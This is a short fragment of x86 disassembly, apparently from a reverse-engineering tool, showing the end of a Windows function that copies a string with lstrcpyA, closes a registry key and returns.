mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc